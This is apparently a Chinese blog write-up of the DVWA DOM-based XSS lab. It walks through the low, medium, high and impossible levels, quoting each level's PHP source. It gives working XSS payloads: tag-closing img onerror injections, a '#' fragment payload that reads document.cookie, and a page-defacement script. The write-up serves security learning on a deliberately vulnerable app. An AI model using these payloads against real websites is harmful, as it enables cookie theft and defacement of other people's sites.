继续,Go,GO,Go !!!
等级为:low
DVWA/vulnerabilities/xss_d/?default=English
default没有经过严格的过滤。
构造payload:DVWA/vulnerabilities/xss_d/?default=English<script>alert(/XSS/)</script>
成功!
查看源码:
<?php
# No protections, anything goes
?>
没有任何过滤。
等级为:medium
先看源码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
先判断我们传入的函数是否为空,并且经过stripos()函数处理。
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
注释:stripos() 函数是不区分大小写的。
<script>会被查出来,大小写绕过也没用
双写也不行。
只能使用一些其他的标签。
img标签:<img src=1 onerror=alert('/XSS/')>
没有弹窗,没有成功。
看了一下
我们的代码插入到了value里,没有插入到option里。
那我们就闭合掉<option>
,构造新的payload:DVWA/vulnerabilities/xss_d/?default=English</option><img src=1 onerror=alert('0xdawn')>
还是不行。
那我们就再闭合<script>
,构造新的payload:DVWA/vulnerabilities/xss_d/?default=English</option></select><img src=1 onerror=alert('0xdawn')>
弹窗成功了。
等级为:high
一顿操作发现不行,看源代码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
先判断我们传入的default是否为空,通过switch语句进行白名单限制。
大佬们用的方法都是应用#号,URL栏的#号之后的内容并不会发送至服务器端,JS应用该符号实现在页面创建加载过程中定向到指定的页面内容上。
构造payload:<script>alert(/XSS/)<script>
发现不行。
看了大佬的博客,他的payload:English#</option></select><BODY ONLOAD=alert(document.cookie)>
闭合了<option>和<select>
,从而弹窗成功了!(但是触发好像有点问题)
等级为:impossible
源码:
<?php
# Don't need to do anything, protction handled on the client side
?>
啥也没有😑😑😑😑
对我们输入的参数并没有进行URL解码,所以我们输入的任何参数都是经过URL编码,然后直接赋值给option标签。所以,就不存在XSS漏洞了。
页面篡改payload:<script>document.body.innerHTML="<div style=visibility:visible;><h1>页面亦被篡改</h1></div>";</script>
至此,XSS已经结束了。